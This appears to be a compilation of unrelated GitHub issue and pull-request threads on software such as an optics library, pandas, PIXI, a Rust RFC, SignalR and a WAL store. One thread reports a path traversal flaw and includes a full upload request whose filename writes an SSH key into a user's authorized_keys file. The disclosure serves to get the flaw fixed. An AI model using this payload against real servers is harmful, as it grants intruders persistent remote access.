For the case of JWST and Heimdallar (spelled how it sounds) we need to concern ourselves with a CompoundAperture with Basis terms generated for each Aperture. While this can be done by specifying them all individually my old code was considerably nicer in this regard. It seems almost like it is worth having:
class CompoundCircularApertureAndBasis(dl.OpticalLayer):
    def __init__(self, noll_indices: list, coeffs: list, aperture: CompAperture):
    def __call__(self, params: dict) -> dict:

class CompoundHexagonalApertureAndBasis(dl.OpticalLayer):
    def __init__(self, noll_indices: list, coeffs: list, aperture: CompAperture):
    def __call__(self, params: dict) -> dict:

class CompoundArbitraryApertureAndBasis(dl.OpticalLayer):
    def __init__(self, noll_indices: list, coeffs: list, aperture: CompAperture):
    def __call__(self, params: dict) -> dict:

But I am not so sure if this is a good set-up. It should be fine in the short term I think. The main concern is that there is no way to get the Basis so that it is independent from the aperture. This may not even be a bad thing.

Having done some work I think it is best if the Zernike is always associated with an aperture. It simplifies things considerably.

So we are going to want to do this with inheritance. We should be able to have base classes for:

Static pre-calculated apertures
Static pre-calculated and stored basis (for aperture shapes inherited by the aperture)
Dynamically generated aperture shapes
Dynamically generated basis on the aperture shape

The final classes should exist primarily as lightweight wrappers that inherit from the combination of these.

They should also be able to be instantiated by themselves though!

So it is difficult to pre-calculate the apertures. Without having access to the coordinate system stored in the wavefront there is really no way of generating an arbitrary aperture at the initialisation. @ataras2 had some interesting thoughts regarding lifting the coordinate information into the dl.Telescope/dl.Optics. His idea was that dl.Optics store an instance of dl.Wavefront and that dl.CreateWavefront be demoted from a layer to a function that could be called in the __init__ method of dl.Optics. This would be resolved and then the list of layers could be sorted and the apertures statically generated. I think it sounds interesting, but it is likely a lot of work.
I know that there are cases where apertures can be pre-generated. However, in these scenarios one has to make very stringent assumptions that are not always true. For example, the dl.CircularAperture that is currently on main assumes that it is directly in the centre of the wavefront and spans the entire wavefront. While this works for dl.AngularMFT and dl.PhysicalMFT type propagators and is a common occurance (e.g. simple TOLIMAN and HST models) it very quickly fails (e.g. complex HST and Heimdellar).
@LouisDesdoigts what are your thoughts on @ataras2's idea?

So just have a pixel scale and npix parameter that is fed to the layer at init time to do the pre-calculation, but don't store these parameters. These can just be the same values that are fed into create wavefront.
As for moving the CreateWavefront layer into Optics it's definitely possible but I don't think this is what we want in the long run as it disjoints where the parameters that define the optics are stored (some in layers and some in the optics). We already have access to pixel scale and npix params when initialising the layers so no assumptions need to be made!

Yeah OK. I guess that is easiest and requires the least amount of work to implement. @ataras2 and I just posted a large UML in the slack detailing our plan for this stuff. We'll need to revise it now but it should still be in general true.


Add files via upload

Applying to add "CHUNG SHAN MEDICAL UNIVERSITY" into support list.

@sqqhannah Pull request merged. Thank you!


Requirement Updates

This updates the package requirements.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Changes are merged to PR #15


double-beep: Watch tawk.to/chat/5b056f7bd0f6723da57ecd06

double-beep requests the watch of the watch_keyword tawk\.to/chat/5b056f7bd0f6723da57ecd06. See the MS search here and the Stack Exchange search here.

tawk\.to/chat/5b056f7bd0f6723da57ecd06 has been seen in 2 true positives, 0 false positives, and 0 NAAs.

tawk\.to (already watched) only has 1fp from 2 years ago. I don't think there's a need to specifically watch this instead.

Approved by Makyen in Charcoal HQ


⚠ Bofrost.at has degraded performance

In 32bac8a, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1265 ms

Resolved: Bofrost.at performance has improved in 8119f00 after 13 minutes.


API Key documentation needed

As of June '24 personal API keys are needed in order to use ArcGIS Location Services.
Provide further documentation/instruction.
cc @maryharvey
Related: native-apis-doc/5776

@mhdostal, @maryharvey any changes we need to make Toolkit side?

@dfeinzimer Please refer to https://devtopia.esri.com/runtime/cocoa/issues/11263 and https://devtopia.esri.com/runtime/swift/issues/5514

@dfeinzimer Please refer to the cocoa and swift repos for details.

@dfeinzimer Please refer to the cocoa and swift repos for details.

Noted, thanks!

Completed with #772


Eyedropper should select existing color from the palette

Steps to reproduce

Draw something using color from the palette
Change the selected color
Change current tool to the eyedropper
Pick the color from previous drawing
The currently selected color is overridden with color from the eyedropper (NG)

Presentation

Expected result
Whenever color picked by the eyedropper is available in the current user's palette it should be selected without overriding currently used color.

Relates to #106


Dataset query

Can you  provide drive link for avenue dataset. Can you also please mention the frame per second (FPS) specification of all the datasets used for your models.

Hi,
Thanks for your interest!
You can download here.

Thank you for the response.
Could you provide the drive link for ShanghaiTech dataset as well.

You can download here.

Hello, how many rounds do you get the best model for each dataset?


Page doesn't display in samsung galaxy phone.

Tried chrome on S8, doesn't show any device on the page

What do you mean "doesn't show any device"? Is the page devoid of anything, or devoid of all content? Which browser are you using? Perhaps the browser doesn't support specific features.

I figured out it is the iron-list issue. And I am still using the old version with Polymer 1.0, now the project is on Polymer 2.0.
I wonder when the project will be upgraded to Polymer 3.0 though


Show link to delete files in quota exceeded error

@rishig @showell This is ready :)

Merged, after fixing the i18n for this, thanks @hackerkid!  The issue was that . doesn't end a sentence in all languages (e.g. it's different in Japanese), so I moved the . into the first part of the string.

@gnprice FYI, since I'm not 100% confident this i18n is correct for Japanese.

I think the best approach is probably to make the whole thing one message, including the link. The link is slightly annoying in translation, but Transifex does a decent job of mitigating the annoyance (it's aware of HTML tags, both opening and closing, and by default turns the tags into atomic blobs), and more importantly it gives the translator the full flexibility to write things naturally.
For example, in a direct translation of this version to Japanese, I'm pretty sure the "Click here" would not be appropriate to say without an expression like ください ("please"); and to me it'd feel odd to have something long like "Click here please" (might be「こちらをクィックしてください。」) inside that link.
I think making it one message also lets us write smoother English, for much the same reasons as it helps in other languages. E.g.:
msg = i18n.t('This file would exceed your upload quota. You can '
             'delete old attachments to free up space.');

And yep, @timabbott is right that punctuation like periods should always be inside the string to be translated -- for example in a Japanese translation a period will turn into this bigger, hollow, period: "。", if the translation even ends a sentence in the same spot in the first place. :-)


Interactivity blocks JS's main thread

Current Behavior
I am using PIXI for rendering an interactive scatterplot with 2K (or more) sprites.
When I turn on interactivity on the root container (e.g., stage.interactive = true;), I noticed that JS's macro tasks are severely slowed down (several hundred milliseconds to a few seconds per setTimeout(() => {}, 0) call). I was confused as animations still work okay, so I turned off all the event listeners and profiled my application.
What I found were repeated calls on every pointermove event that take ~12ms per call.

As far as I understand, the current interaction handling is throttled by 10ms. So my current guess is that this causes a buildup that blocks other macro tasks. (i.e., the next pointermove event callback is added before the previous is processed) I could be entirely wrong also.
My question is, what is the interaction manager doing in processInteractive() that is making the function call take 12ms even when there are no listeners? Is it expected to take this long for ~2K sprites?
Just for fun, I performed hit testing with another library that is using an r-tree for spatial queries and on average a hit test with ~2K elements takes <0.01 ms on average. Of course, PIXI has to take care of many more things. I am just trying to understand the limitations of the build-in interaction management. Does it scale linearly with the number of display elements?
Environment

pixi.js version: e.g. 5.1.6
Browser & Version: e.g. Chrome 80
OS & Version: e.g. macOS 10.14.6

I am just trying to understand the limitations of the build-in interaction management.

https://github.com/pixijs/pixi.js/blob/dev/packages/interaction/src/TreeSearch.js
Full scan. Also, every sprite has containsPoint function. I recommend to set interactiveChildren=false for containers that has that many sprites, and implement your own containsPoint and handlers. You can also rewrite treesearch and ovverride its instance in interactionManager (renderer.plugins.interaction)

Thanks for the quick reply and pointers! This makes a lot of sense now.


Compute the cache dir with pip, for Windows

We decided to go with #1719, because not having a cache is faster. 🤷♂


Pandas segfault in _dummy_from_array

In a recent travis.ci test I see the following:
dask/dataframe/tests/test_io.py::test_usecols PASSED
dask/dataframe/tests/test_io.py::test_dummy_from_array PASSED
dask/dataframe/tests/test_io.py::test_dummy_from_1darray /home/travis/build.sh: line 45:  2972 Segmentation fault      (core dumped) py.test dask --verbose

This likely means that something within Pandas is not responding well to running in threads.
cc @jreback @sinhrks
Relevant functions
def test_dummy_from_1darray():
    x = np.array([1., 2., 3.], dtype=np.float64)
    res = dd.io._dummy_from_array(x)
    assert isinstance(res, pd.Series)
    assert res.dtype == np.float64

    x = np.array([1, 2, 3], dtype=np.object_)
    res = dd.io._dummy_from_array(x, columns='x')
    assert isinstance(res, pd.Series)
    assert res.name == 'x'
    assert res.dtype == np.object_

    x = np.array([1, 2, 3], dtype=np.object_)
    res = dd.io._dummy_from_array(x, columns=['x'])
    assert isinstance(res, pd.DataFrame)
    assert res['x'].dtype == np.object_
    tm.assert_index_equal(res.columns, pd.Index(['x']))

    msg = r"""Length mismatch: Expected axis has 1 elements, new values have 2         elements"""
    with tm.assertRaisesRegexp(ValueError, msg):
        dd.io._dummy_from_array(x, columns=['a', 'b'])

def _dummy_from_array(x, columns=None):
    """ Create empty pd.DataFrame or pd.Series which has correct dtype """

    if x.ndim > 2:
        raise ValueError('from_array does not input more than 2D array, got'
                         ' array with shape %r' % (x.shape,))

    if getattr(x.dtype, 'names', None) is not None:
        # record array has named columns
        cols = tuple(x.dtype.names)
        dtypes = [x.dtype.fields[n][0] for n in x.dtype.names]
    elif x.ndim == 1 and (np.isscalar(columns) or columns is None):
        # Series
        return pd.Series([], name=columns, dtype=x.dtype)
    else:
        cols = list(range(x.shape[1])) if x.ndim == 2 else [0]
        dtypes = [x.dtype] * len(cols)

    data = {}
    for c, dt in zip(cols, dtypes):
        data[c] = np.array([], dtype=dt)
    data = pd.DataFrame(data, columns=cols)

    if columns is not None:
        # if invalid, raise error from pandas
        data.columns = columns
    return data

creation is not threadsafe at all, you will need to protect this with a lock

Should Pandas be holding onto the GIL in these cases then?
My general thought is that no Python library should ever segfault, even when running under multiple threads.  Is this thought a valid expectation?

this is all pure python code. and it runs for me, you would have to show more context where this fails.
its up to the user to lock code that is in python space when threading. your expectation would be for a thread-safe library. pandas is not thread-safe for copy, so its generally not threadsafe.

I don't expect correct behavior from unsafe Python libraries when used in multiple threads, but I do expect no segfaults.

https://github.com/pydata/pandas/issues/2440
https://github.com/pydata/pandas/issues/2728

provide a minimal test case. I suspect you are doing something that itself is not threadsafe. these ops I dont think would cause a segfault. they may not work though.

Can't reproduce at the moment.  Closing.


Normalization for long error codes explanations RFC

We talked about it at the first meeting of the rust doc (unofficial) team so here it is: the RFC for the error codes explanations normalization!
cc @steveklabnik
Rendered.

@GuillaumeGomez you might want to edit that title/commit message.

@Stebalien: Oh indeed, I didn't pay attention... Thanks!

@Manishearth said :+1: on IRC.
I am generally in favor of this RFC, but I would also like to hear from the people who have contributed to these messages the most. I was going to check the issue we had for error codes, but cannot find it right now. @GuillaumeGomez , do you happen to have a link?

@steveklabnik, do you mean this issue?

@AndrewBrinker yes!
So, @michaelsproul, @lifthrasiir @lfairy @ruud-v-a @nham @calpre @cactorium @pnkfelix @allsdairO @nathankleyn @joelmccracken and anyone else, thoughts on this RFC?
@pnkfelix makes a good point in that thread that isn't addressed here, but might be nice to add: https://github.com/rust-lang/rust/issues/24407#issuecomment-113464880

Should error explanations include references to unstable features, that is, features that are hidden behind a feature-gate, and thus are unavailable in stable and beta channels of Rust?

I think they should since error explanations will come along with (normally) this unstable feature. But before that, they shouldn't be displayed or available for a non-nightly compiler.

A few thoughts:

Sometimes very different situations that need to be fixed in different ways can lead to the same error. How would this template handle that?
For long code samples with a bit of boilerplate, perhaps they should not be repeated entirely if the fix is a one-liner? That would make it harder to test the examples, but it is also easier to see the which parts should be changed. Something like rustdoc’s # in examples might work.
Should this be interpreted as a loose starting point, or will all current explanations be shoehorned into this form? I am not necessarily opposed to this, but is the current situation so bad?

Providing an unified template is needed in order to help people who would want to write ones as well as people who read them.

I can see how this helps writing new examples, but I don’t see how this will help users.

Sometimes very different situations that need to be fixed in different ways can lead to the same error. How would this template handle that?

Just mention each. We do this already. https://doc.rust-lang.org/nightly/error-index.html#E0401 is an example

For long code samples with a bit of boilerplate, perhaps they should not be repeated entirely if the fix is a one-liner? That would make it harder to test the examples, but it is also easier to see the which parts should be changed. Something like rustdoc’s # in examples might work.

we don't yet test code examples in the index. But if we did, that would be correct.

Should this be interpreted as a loose starting point, or will all current explanations be shoehorned into this form? I am not necessarily opposed to this, but is the current situation so bad?

IMO loose starting point. Current explanations follow this more or less, since I've been unofficially enforcing something close to this set of guidelines when reviewing this PRs.

Sometimes very different situations that need to be fixed in different ways can lead to the same error. How would this template handle that?

Such cases are very rare. However, I think it'll be best to consider this PR as a base to apply as much as possible and then handle exceptions "by hand".

For long code samples with a bit of boilerplate, perhaps they should not be repeated entirely if the fix is a one-liner? That would make it harder to test the examples, but it is also easier to see the which parts should be changed. Something like rustdoc’s # in examples might work.

You're supposed to provide a code example as small as possible to isolate the error and to show from where it comes.

Should this be interpreted as a loose starting point, or will all current explanations be shoehorned into this form? I am not necessarily opposed to this, but is the current situation so bad?

I think it should be used as a base. The current situation isn't that bad, but can be greatly improved.

I can see how this helps writing new examples, but I don’t see how this will help users.

We're currently trying to uniformize all rust docs as well. Just like you won't have a website which changes style between pages for consistency, we're trying to apply it here as well to not loose users.

we don't yet test code examples in the index. But if we did, that would be correct.

@Manishearth: We actually do. I added it here.

I can see how this helps writing new examples, but I don’t see how this will help users.

A template, in a way similar to a checklist, helps ensure that an error message contains everything that it should. I like it.
I suggest that the labels for the points in the template might improve. This would make the template itself easier to read and work with:
[First point]      -> [Slightly more detailed error message. 50-100 words.]
[Second point] -> [Code the exemplifies the problem. 5-10 lines.]
[Third point]     -> [Why the error occurs and how it may be fixed. 100-200 words.]
[Fourth point]   -> [Fixed version of the earlier example. 5-10 lines.]
[Fifth point]      -> [Additional details and supplementary information]

No, I prefer avoid to add limits. Some error messages need to be really complete. If I set a word "limit", they'll focus on it and I want to avoid that.

Sure, that makes sense. The word limit was an afterthought, anyway.

:+1: sounds like a great plan to me!

Why are the labels "first point" etc.? A more semantic label/title/guideline would make more sense to me.
I'd be keen to emphasise that the template is a guideline, rather than a requirement - good docs often need quite a lot of specialisation, and docs which are obviously forced into a template often read badly.
Having said that, +1 on the RFC overall.

Why are the labels "first point" etc.? A more semantic label/title/guideline would make more sense to me.

With what would you replace it?

I'd be keen to emphasise that the template is a guideline, rather than a requirement - good docs often need quite a lot of specialisation, and docs which are obviously forced into a template often read badly.

I wrote a lot of error code explanations, and that's the more common template I fulfilled. Of course, this is "just" a guideline and some cases can't fulfill it (this template), but they remain exceptions and have to be treated on their own (even if they remain close to this RFC).
However, I think it's preferable to have a guideline and start to write something from it and then specialize the explanation from it (and you can do it a lot). That's what has been done unofficially like @Manishearth said and it worked well.

@GuillaumeGomez

With what would you replace it?

Still needs some work but we can try to make obvious what each section should contain

First point -> Error description
Second point ->  Minimal example
Third point -> Error explanation
Four point -> How to fix it
Fifth point -> Supplementary information

@gnzlbg: I see, I'll update it.

I was also trying to say this. Ignore the bits I said about the word count; the other part is label name suggestions.

Updated.

Okay everyone! IT seems like the discussion here has largely died down, so we are moving this RFC into its final comment period! :confetti_ball:

Took a read through this morning, and this RFC looks great to me. Thanks @GuillaumeGomez!

Thanks for your feedback @aturon!

lgtm

Like @nham, I'm not enthusiastic about standardizing on the verbatim phrase "Example of erroneous code:".

I wonder, is erroneous a bit of a poor word choice in this context? Not everyone programming in Rust speaks/reads English as their first language, and it may be preferable to choose a simpler word for this reason.

I'm french and I don't see the problem with this word (and I don't think that I have an amazing english level).

I am terrible at english, and I don't see a problem neither.

How about "Sample (or example) of incorrect code:"?

@Manishearth, this wording sounds better to me. Also, I realize this is a minor issue. If it's really not an issue in practice (and @GuillaumeGomez and @ticki seem to think it isn't), it may not be worth a change.

We already debated about this sentence. I don't know what to add about it. I put back the url.

Huzzah! The not-quite-real docs team, in conjunction with the core team, has decided to accept this RFC. Thank you all!

I had to do a rebase, so https://github.com/rust-lang/rfcs/pull/1648 closed this.


Support MMap

Hey @roseduan i would like to contribute. can u elaborate on that?
were u thinking about mmapping the content of a segment file instead of keeping a file descriptor and do the reading by it ?

Yes, we can map the file to improve read/write performance in some scenarios.
there are some helpful links:
https://github.com/akrylysov/pogreb/tree/master/fs
https://github.com/dgraph-io/ristretto/blob/main/z/mmap.go
https://github.com/edsrzf/mmap-go

I can assign this issue to you if you`d like to contribute.
List a plan first and do not rush to write the code, we can discuss it.

Yes I'll do that, thanks for the links. Do you want it to be an optional feature ? Meaning I can either use the file mapped or not

Yes I'll do that, thanks for the links. Do you want it to be an optional feature ? Meaning I can either use the file mapped or not

Yes, should be an option when opening the WAL.
We can refer to pogreb, a filesystem interface, with two implementations(StandardFile and MMap).

my initial thoughts are to create a file interface backed by the os.File which will be implemented by 2 different structs:

mmapFile struct which will contain the mapped slice, fd etc..
osFile struct which will have the fd and the LRU cache (i guess this cache isnt needed when the file is mmapped, correct me if im wrong).

the file interface will be embedded inside the segment's struct, providing all the R/W operations needed.

Yes I'll do that, thanks for the links. Do you want it to be an optional feature ? Meaning I can either use the file mapped or not

Yes, should be an option when opening the WAL. We can refer to pogreb, a filesystem interface, with two implementations(StandardFile and MMap).

just wrote my thoughts concurrently :D

my initial thoughts are to create a file interface backed by the os.File which will be implemented by 2 different structs:

mmapFile struct which will contain the mapped slice, fd etc..
osFile struct which will have the fd and the LRU cache (i guess this cache isnt needed when the file is mmapped, correct me if im wrong).

the file interface will be embedded inside the segment's struct, providing all the R/W operations needed.

yes, cache is not needed when file is mapped.
The interface name FileSystem will be better.
These are all my thoughts.

as i understand after some reading you cant really append to the mmapped file but the next record should be written to the underlying file and then a re-map should be applied if the file size is larger than the maping that was allocated.
we could always map each segment with the size that is specified in the options (1GB as a default) but wouldnt it kill the procces's address space in case there are alot of open segments?

Yes, you are correct, let me rethink it, re-map every time is very costly.

I know that mysqllite wal is mmapped. I'll do some more diggings in the weekend

https://stackoverflow.com/questions/35891525/mmap-for-writing-sequential-log-file-for-speed
great discussion regarding appending to a file and the overhead that comes with it. also i think that even for reading purposes, mmap is good for random access where as for WAL its sequential so i guess there is no much of an improvement mmaping for reads. lemme know what u think

@roseduan

OK, seems that MMap is not suitable for sequential reading or writing, I think we can do it later if someone acquires it with a specific case.
Anyway, thanks for your attention.


tour: [typo error in sentence]

Context: https://go.dev/tour/basics/11
In sentence " When you need an integer value you should use int unless you have a specific reason to use a sized or unsigned integer type." may be should be "signed or unsigned integer type"?

I'm pretty sure the "sized" refers to the int types with specific bit sizes (int8, int16, etc.).
Probably not a typo and just referring to the fact that you can have different int sizes depending on your needs.

Thanks, I understand, and  this thread  can be closed.


[Security Issue] Path Traversal

Upload function has path Traversal
POST http://localhost:8000/upload HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data;
boundary=---------------------------181129077338520941041759414181
Content-Length: 353
Origin: http://localhost:8000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: localhost:8000

-----------------------------181129077338520941041759414181
Content-Disposition: form-data; name="files";
filename="../../../../../home/patrick/.ssh/authorized_keys"
Content-Type: application/octet-stream

ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIGp229zquDD1Rui5mEaa48Tzwhzwf8dJLeISgrlcN4PB

-----------------------------181129077338520941041759414181--

@exploide: Thanks Jannik :)

Fixed.


Revert "Fix permissions before moving extracted files."

Reverts Homebrew/brew#14711

Review period skipped due to critical label.

Context: https://machomebrew.slack.com/archives/C0YB409J4/p1676912243093379


running orangemeow/matrix-archive:1.2 in docker keeps hanging after ~100 events (msg,images)

I am running orangemeow/matrix-archive:1.2 in docker (version 20.10.12) on Lubuntu 20.04.3 LTS.
I run it like this:
docker run -it --name mwa -v "/PATH/element-keys.txt:/matrix_archive/key.txt" -v "/PATH/chats:/matrix_archive/chats" -e "SERVER=https://..." -e "USER=@...:..." -e "USERPASS=..." -e "KEYPASS=..." -e "ROOMSTR=--room $RID" orangemeow/matrix-archive:1.2
($RID is set by Bash within a for-loop - the rest is correct as it does work)
The Rooms have over 400 messages and images per day.
I tried to archive a Room with more than 4000 images and msg but your programm keeps hanging - it manages to archive around 100 msg/images before i have to kill and restart it (good thing it continues rather than re-archive everything).
FYI i dont have the logs (due to the way my script works)

I'm sorry that I can't reproduce this issue, but here's what I think.
This is the workflow of my script:

Fetch all events into memory. This includes all text messages, message id, media url but without media contents.
This step works good in your situation because otherwise there won't be any following procedures.

For every event, check if it's already in database, if not:
2.1. If the event does not contain media content, format it and save into database. This is totally processed locally. I don't think there will be any "hanging" problem.
2.2. If the event contains media content, download that media into memory, decrypt it, hash it, and de-duplicate by comparing hash with hashes in database.

There are 2 possible problems: database and network. But since you're running it in docker, and a container won't run twice and trigger a concurrent write SQLite issue, so I prefer that you're having a download timeout issue. The SDK I based on(Matrix-Nio) does not have a timeout option for download media method, so it may cause hanging in my script.
I have updated my script to tag:1.3. SDK is updated and Python requests library is used to download media files. If there is more download timeouts, after a few retries exceptions will be raised.

Okay, Thx,
Let me try out the new version.

I now have a cronjob running its container (via bash-script)
Can/Did you implement some form of return/status codes: e.g.
0 => succes
1 => timeout in download
2 => failure with sql
A logfile feature (in which your script would redirect stdout and stderr would be nice)

Ok I just updated the script, added log output and exit code, see README.md for details

Though some Media it refueses/gets an error like
{"errcode":"M_NOT_FOUND","error":"Not found [...]"}
but that my be cause it ot deleted - idk


command line support

Hey! is there a way to use this like I can use demucs, just by running it in the command line?

I started with, but many people told me that they don't use it ...
So, I give up (because, it was less maintenance)
But, I let the code in place for a future version (maybe).

ok, thank you for getting back captain 🫡 I will have a look at the code for it

Finally ...
I think it's getting harder and harder to manage complex parameters from command line,
and too much check for input errors from users.
So I decide to remove this option, but ...
I plan for KaraFan version 5.0 to add a GUI with wxwigets that will give you the ability to use it with not installing Visual Studio Code and can be run easily on your PC ! 😃

I close this issue as KaraFan 5.0 is also a stand-alone GUI now !
Still can be used in Colab.


Fix restore without topic failure

Fix bug when restoring without topic failure.

make L-G-T-M work.


Remote-job-submission not set up for accessdev-test

resolution_fixed   |    by<EMAIL_ADDRESS>
When run from accessdev-test, the remote-job-submission script copies the public key from accessdev-test to raijin's authorized keys, but the public key from raijin isn't copied to the authorized keys on accessdev-test.
For this to work, I think there needs to be an entry for accessdev-test added to /opt/remote-job-submission/bin/remote-job-submission-targets on raijin .

Issue migrated from trac:103 at 2024-01-31 17:34:00 +1100

<EMAIL_ADDRESS>changed status from new to assigned

<EMAIL_ADDRESS>commented

I'm not sure that you want to do this by default; the "accessdev-test" VM might be in a non-standard state (since it's often being rebuilt) just at the time a user tries to run the setup command.  And presumably none of your users should ever have a need to use the test VM anyway.  You can actually achieve the same outcome manually via:
ssh accessdev-test.nci.org.au
remote-job-submission setup noloop

ssh raijin.nci.org.au
REMOTE_JOB_SUBMISSION_REMOTES="accessdev-test.nci.org.au accessdev-test" \
   remote-job-submission setup noloop

If you really want this we could do it for just the "ju7_1" group.

<EMAIL_ADDRESS>commented

Chris, this will need to be handled by a NCI admin, could you do this, or pass this on to an appropriate person?
A possible fix would be to add in this line after the line for accessdev:
echo "accessdev-test.nci.org.au accessdev-test"

<EMAIL_ADDRESS>changed owner from `` to cma900

<EMAIL_ADDRESS>changed resolution from `` to fixed

<EMAIL_ADDRESS>commented

Ok, I'm happy with that. I've documented this in: https://trac.nci.org.au/trac/access/wiki/AccessdevTestDiff

<EMAIL_ADDRESS>changed status from assigned to closed

ibc599 commented

Sounds good to me.

<EMAIL_ADDRESS>removed milestone (was Future)

<EMAIL_ADDRESS>commented

Milestone Future deleted

<EMAIL_ADDRESS>commented

FWIW, change has also been made on raijin.
NCI ticket 69277


fix save file format for avif and technically any other format

Checklist

[x] read and understood the contributing guidelines
[x] updated tests
[x] npm run build and npm test passes

Affected core subsystem(s)
cli -> save
Description of change
ConvertPipe supports for example avfi file format.
Apparently the function formatToExt in save.ts has a harcoded map EXTENSION_MAP of file extensions.
AVFI is not listed, therefore the extensions is not resolved and an empty extension is returned. :(

ConvertPipe with format avfi and save [source.name][ext]
Expected: sourcename.avfi
Received: sourcename

With the fix, avfi was added.
Additionally (to be discuessed / decided) a fallback of .extension was added, instead of empty extension.
This should at least save the file with a proper extension ;)
If the later is accepted, it would make sense to clear the EXTENSION_MAP and only keep the jpg entry.
Tests can be probably better, but they'll do it for now. I can improve them if required.

⚠Eventully avfi entry must be removed from the EXTENSION_MAP.
Currently avfi is saved as avfi because of the EXTENSION_MAP.
Sharp actually wants to save it as .heif, explained here: https://github.com/lovell/sharp/issues/3053#issuecomment-1017304069
Not sure what to favor (I personally use avfi) but this can be easily achieved by replacing [ext] with .avfi
Need input to eventually fix this. ;)

We'll see how this performs for now. I have an extensive wish-list on improvements, specifically, those surrounding handling of newer codecs and more predictable metadata handling, I just haven't got the time. I hope this will do for the time being!


Creating custom msg and srv files: Files have to be in folders called msg or srv

Hi, I was following the tutorial on Creating custom msg and srv files.
When I placed my .msg file in a folder that was not called msg, I got an error about the .idl file not being found when querying with ros2 interface show. The error went away when I renamed the folder to msg.
So it appears that the .msg files are expected to be in the msg directory in the package. The tutorial on the other hand suggests that it is recommended but not an issue to do otherwise:

It is good practice to keep .msg and .srv files in their own directories within a package.

If it is the case that the directory needs to be called msg, then the tutorial needs to state explicitly as such. Could somebody confirm this?

Yes, this does indeed seem to be the case.  It is interesting that the messages still show up in ros2 interface list, but at the moment ros2 interface show needs to have these in the msg or srv subdirectory.
Would you mind opening a pull request to https://github.com/ros2/ros2_documentation/blob/rolling/source/Tutorials/Beginner-Client-Libraries/Custom-ROS2-Interfaces.rst with that change?

Hi, I've made a PR. I forgot to mention, I was using Galactic. Should I make a separate pull request for that branch too?

Hi, I've made a PR. I forgot to mention, I was using Galactic. Should I make a separate pull request for that branch too?

No, we have a bot that will automatically backport it.  Thanks for making the PR.

@definitelyuncertain can you close this, everything has been merged including backport to humble, galactic and foxy.


[packr2] HasDir() does not return true for a prefix segment of dir

consider:
└── subdir
    ├── a
    │   └── a.txt

If we say box.HasDir("subdir") I would expect that this returns true. But it currently returns false. The current implementation builds a map of directories but only at the deepest level, so if there are nested directories, we cannot assert that a root exists.
I have a PR fix and test prepared for this if there is interest.

PRs welcome. :)

Mark Bates
On Mar 31, 2019, 11:09 AM -0400, David Genest<EMAIL_ADDRESS>wrote:

consider:
└── subdir
├── a
│   └── a.txt
If we say box.HasDir("subdir") I would expect that this returns true. But it currently returns false. The current implementation builds a map of directories but only at the deepest level, so if there are nested directories, we cannot assert that a root exists.
I have a PR fix and test prepared for this if there is interest.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.


Implemented GetUser* APIs with internal.HTTPClient

As a continuation of #220, I'm moving the GetUser(), GetUserByEmail() and GetUserByPhoneNumber() API implementations off the identitytoolkit package, and on to our homegrown internal.HTTPClient.

@bklimt I've made the suggested change. PTAL.


Update soap stub example

Clarifying confusing part of the example with the error stub.
Respond with error should use the createErroringStub method so that the client returns an error rather than using createRespondingStub which returns a non-error response to the callback.

Coverage remained the same at 93.123% when pulling 1111e4ebeda242bb777015ed064d2d8de8f22d37 on lewisp6:master into 2a44d2a245fe1e9a46cf9e74173a0690b148d87a on vpulim:master.

Thanks @lewisp6 !


Optimise append/pop for non-lists

Found through CPython's micro benchmark script:
With all CYTHON_* optimisation macros enabled (default):
  20.7 ns       list_append_pop
 155.4 ns       deque_append_pop

When disabled:
  66.4 ns       list_append_pop
  75.1 ns       deque_append_pop

For non-lists, this is slow even when compared to CPython 3.8:
  61.6 ns       list_append_pop
  53.9 ns       deque_append_pop

Fixed by avoiding the tuple packing and method calls:
  20.0 ns       list_append_pop
  45.5 ns       deque_append_pop

This is not safe: #2996


Feat: Update Content and Support to commit a4ecec2

Overview
Updates the Content and Support sub module which adds optional components at the bottom of pages to go back to top, print and a citation. Also includes feedback requests
Changes
Major

Added back to top
Added citation block
Added print page
Added vertical navigation

Minor

Improved page width for CsPages
Adjusted styling of some components
Added support for plantech cookies with c&s tracking

Checklist
Delete any rows that do not apply to the PR.

[x] Title uses Angular commit convention
[x] PR targets development branch
[x] Unit tests have been added/updated
[x] GitHub workflows/actions have been added/updated

The print functionality isn't going to work here due to the content security policies.
It'll need moving to a script with a nonce adding

If possible, can we add some logging around these errors please?  That should then redirect to the error page regardless, but at least there'd be an understanding of the problem in App Insights

I believe the Yes/No buttons here might be missing some styling; on the DFE page they seem to have a white background

Was the change to three widths intentional? I didn't notice this in the PR, and it's now different to PT.

If Javascript is disabled, then the print button + feedback div should be hidden

I've made changes to:

Fix the print functionality with regards to CSP
Hide the feedback + print sections if JS is disabled
CSS change for the buttons (that's in this PR specifically)

Also now added logging. All in C&S development branch.
Now:

Need C&S dev merging into main
This branch updating with the latest commit from C&S
This branch merging

All pending further testing if needed


The remote party closed the WebSocket connection without completing the close handshake

I cannot reliably reproduce this as it seems to only happen when a debugger is not attached, but if the remote party closes the websocket without completing the handshake it causes Kestrel to crash.  Looking at the stacktrace I am not sure if the issue is with SignalR or elsewhere.
Here is the code from the hub where the client disconnects....
    public override Task OnDisconnectedAsync(Exception exception)
    {
        if (exception == null)
        {
            Console.WriteLine("Client Disconnected from Hub: " + Context.ConnectionId);
        }
        else
        {
            Console.WriteLine("A client did not disconnect cleanly");
        }

        return base.OnDisconnectedAsync(exception);
    }

Client Disconnected from Hub: 2debeeec-2c3f-4085-b18c-aab5cf4d4f47
fail: Microsoft.AspNetCore.Sockets.ConnectionManager[2]
08/03/2017 15:06:43: ConnectionId 2debeeec-2c3f-4085-b18c-aab5cf4d4f47: Failed disposing connection.
System.Net.WebSockets.WebSocketException (0x80004005): The remote party closed the WebSocket connection without completing the close handshake. ---> Microsoft.AspNetCore.Server.Kestrel.Transport.Abstractions.Internal.ConnectionResetException: Error -4077 ECONNRESET connection reset by peer ---> Microsoft.AspNetCore.Server.Kestrel.Transport.Libuv.Internal.Networking.UvException: Error -4077 ECONNRESET connection reset by peer
--- End of inner exception stack trace ---
